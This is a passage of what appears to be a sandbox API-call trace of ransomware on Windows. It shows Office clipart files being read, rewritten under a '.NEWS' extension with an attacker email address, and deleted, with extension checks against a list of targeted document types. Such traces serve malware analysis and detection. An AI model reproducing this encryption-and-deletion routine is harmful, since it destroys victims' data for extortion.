dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0092.611] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.611] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0092.612] GetLastError () returned 0x0 [0092.612] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x62b1, lpOverlapped=0x0) returned 1 [0093.007] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x62c0, lpOverlapped=0x0) returned 1 [0093.009] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.009] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.009] SetEndOfFile (hFile=0x39c) returned 1 [0093.009] CloseHandle (hObject=0x39c) returned 1 [0093.009] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.009] SetEndOfFile (hFile=0x330) returned 1 [0093.010] CloseHandle (hObject=0x330) returned 1 [0093.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0093.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0093.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0093.011] lstrlenW (lpString=".doc") returned 4 [0093.011] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0093.011] lstrlenW (lpString=".docx") returned 5 [0093.011] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0093.011] lstrlenW (lpString=".pdf") returned 4 [0093.011] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0093.011] lstrlenW (lpString=".xls") returned 4 [0093.011] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0093.011] lstrlenW (lpString=".xlsx") returned 5 [0093.011] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0093.011] lstrlenW (lpString=".ppt") returned 4 [0093.011] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0093.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0093.011] lstrlenW (lpString=".zip") returned 4 [0093.011] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0093.011] lstrlenW (lpString=".rar") returned 4 [0093.011] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0093.011] lstrlenW (lpString=".bz2") returned 4 [0093.011] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0093.011] lstrlenW (lpString=".7z") returned 3 [0093.011] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0093.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0093.011] lstrlenW (lpString=".dbf") returned 4 [0093.011] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0093.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0093.011] lstrlenW (lpString=".1cd") returned 4 [0093.011] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0093.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0093.012] lstrlenW (lpString=".jpg") returned 4 [0093.012] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0093.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0093.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0093.012] lstrlenW (lpString=".doc") returned 4 [0093.012] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0093.012] lstrlenW (lpString=".docx") returned 5 [0093.012] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0093.012] lstrlenW (lpString=".pdf") returned 4 [0093.012] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0093.012] lstrlenW (lpString=".xls") returned 4 [0093.012] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0093.012] lstrlenW (lpString=".xlsx") returned 5 [0093.012] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0093.012] lstrlenW (lpString=".ppt") returned 4 [0093.012] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0093.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0093.012] lstrlenW (lpString=".zip") returned 4 [0093.012] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0093.012] lstrlenW (lpString=".rar") returned 4 [0093.012] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0093.012] lstrlenW (lpString=".bz2") returned 4 [0093.012] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0093.012] lstrlenW (lpString=".7z") returned 3 [0093.012] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0093.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0093.012] lstrlenW (lpString=".dbf") returned 4 [0093.012] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0093.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0093.012] lstrlenW (lpString=".1cd") returned 4 [0093.012] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0093.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0093.012] lstrlenW (lpString=".jpg") returned 4 [0093.012] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0093.013] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0093.013] lstrlenW (lpString="J0099203.GIF") returned 12 [0093.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.013] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3904) returned 1 [0093.013] CloseHandle (hObject=0x330) returned 1 [0093.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 0x220 [0093.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.014] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.014] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.014] GetLastError () returned 0x0 [0093.014] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xf40, lpOverlapped=0x0) returned 1 [0093.015] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xf50, lpOverlapped=0x0) returned 1 [0093.016] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.016] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.017] SetEndOfFile (hFile=0x39c) returned 1 [0093.017] CloseHandle (hObject=0x39c) returned 1 [0093.017] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.017] SetEndOfFile (hFile=0x330) returned 1 [0093.018] CloseHandle (hObject=0x330) returned 1 [0093.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 1 [0093.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0093.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0093.018] lstrlenW (lpString=".doc") returned 4 [0093.018] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0093.018] lstrlenW (lpString=".docx") returned 5 [0093.018] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0093.018] lstrlenW (lpString=".pdf") returned 4 [0093.019] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0093.019] lstrlenW (lpString=".xls") returned 4 [0093.019] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0093.019] lstrlenW (lpString=".xlsx") returned 5 [0093.019] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0093.019] lstrlenW (lpString=".ppt") returned 4 [0093.019] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0093.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0093.019] lstrlenW (lpString=".zip") returned 4 [0093.019] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0093.019] lstrlenW (lpString=".rar") returned 4 [0093.019] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0093.019] lstrlenW (lpString=".bz2") returned 4 [0093.019] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0093.019] lstrlenW (lpString=".7z") returned 3 [0093.019] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0093.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0093.019] lstrlenW (lpString=".dbf") returned 4 [0093.019] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0093.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0093.019] lstrlenW (lpString=".1cd") returned 4 [0093.019] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0093.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0093.019] lstrlenW (lpString=".jpg") returned 4 [0093.019] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0093.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0093.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0093.019] lstrlenW (lpString=".doc") returned 4 [0093.019] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0093.019] lstrlenW (lpString=".docx") returned 5 [0093.019] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0093.019] lstrlenW (lpString=".pdf") returned 4 [0093.019] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0093.019] lstrlenW (lpString=".xls") returned 4 [0093.019] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0093.019] lstrlenW (lpString=".xlsx") returned 5 [0093.020] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0093.020] lstrlenW (lpString=".ppt") returned 4 [0093.020] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0093.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0093.020] lstrlenW (lpString=".zip") returned 4 [0093.020] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0093.020] lstrlenW (lpString=".rar") returned 4 [0093.020] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0093.020] lstrlenW (lpString=".bz2") returned 4 [0093.020] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0093.020] lstrlenW (lpString=".7z") returned 3 [0093.020] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0093.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0093.020] lstrlenW (lpString=".dbf") returned 4 [0093.020] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0093.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0093.020] lstrlenW (lpString=".1cd") returned 4 [0093.020] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0093.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0093.020] lstrlenW (lpString=".jpg") returned 4 [0093.020] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0093.020] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.020] lstrlenW (lpString="J0099204.WMF") returned 12 [0093.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.021] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=17854) returned 1 [0093.021] CloseHandle (hObject=0x330) returned 1 [0093.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 0x220 [0093.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.021] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.021] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.022] GetLastError () returned 0x0 [0093.022] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x45be, lpOverlapped=0x0) returned 1 [0093.024] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0093.025] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.025] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.025] SetEndOfFile (hFile=0x39c) returned 1 [0093.025] CloseHandle (hObject=0x39c) returned 1 [0093.025] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.025] SetEndOfFile (hFile=0x330) returned 1 [0093.026] CloseHandle (hObject=0x330) returned 1 [0093.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 1 [0093.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0093.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0093.027] lstrlenW (lpString=".doc") returned 4 [0093.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.027] lstrlenW (lpString=".docx") returned 5 [0093.027] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0093.027] lstrlenW (lpString=".pdf") returned 4 [0093.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.027] lstrlenW (lpString=".xls") returned 4 [0093.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.027] lstrlenW (lpString=".xlsx") returned 5 [0093.027] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0093.027] lstrlenW (lpString=".ppt") returned 4 [0093.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0093.027] lstrlenW (lpString=".zip") returned 4 [0093.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.027] lstrlenW (lpString=".rar") returned 4 [0093.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.027] lstrlenW (lpString=".bz2") returned 4 [0093.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.027] lstrlenW (lpString=".7z") returned 3 [0093.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0093.028] lstrlenW (lpString=".dbf") returned 4 [0093.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0093.028] lstrlenW (lpString=".1cd") returned 4 [0093.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0093.028] lstrlenW (lpString=".jpg") returned 4 [0093.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0093.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0093.028] lstrlenW (lpString=".doc") returned 4 [0093.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.028] lstrlenW (lpString=".docx") returned 5 [0093.028] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0093.028] lstrlenW (lpString=".pdf") returned 4 [0093.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.028] lstrlenW (lpString=".xls") returned 4 [0093.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.028] lstrlenW (lpString=".xlsx") returned 5 [0093.028] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0093.028] lstrlenW (lpString=".ppt") returned 4 [0093.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0093.028] lstrlenW (lpString=".zip") returned 4 [0093.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.028] lstrlenW (lpString=".rar") returned 4 [0093.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.028] lstrlenW (lpString=".bz2") returned 4 [0093.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.028] lstrlenW (lpString=".7z") returned 3 [0093.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0093.028] lstrlenW (lpString=".dbf") returned 4 [0093.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0093.028] lstrlenW (lpString=".1cd") returned 4 [0093.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0093.029] lstrlenW (lpString=".jpg") returned 4 [0093.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.029] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.029] lstrlenW (lpString="J0099205.WMF") returned 12 [0093.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.030] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=17854) returned 1 [0093.030] CloseHandle (hObject=0x330) returned 1 [0093.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 0x220 [0093.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.030] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.030] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" 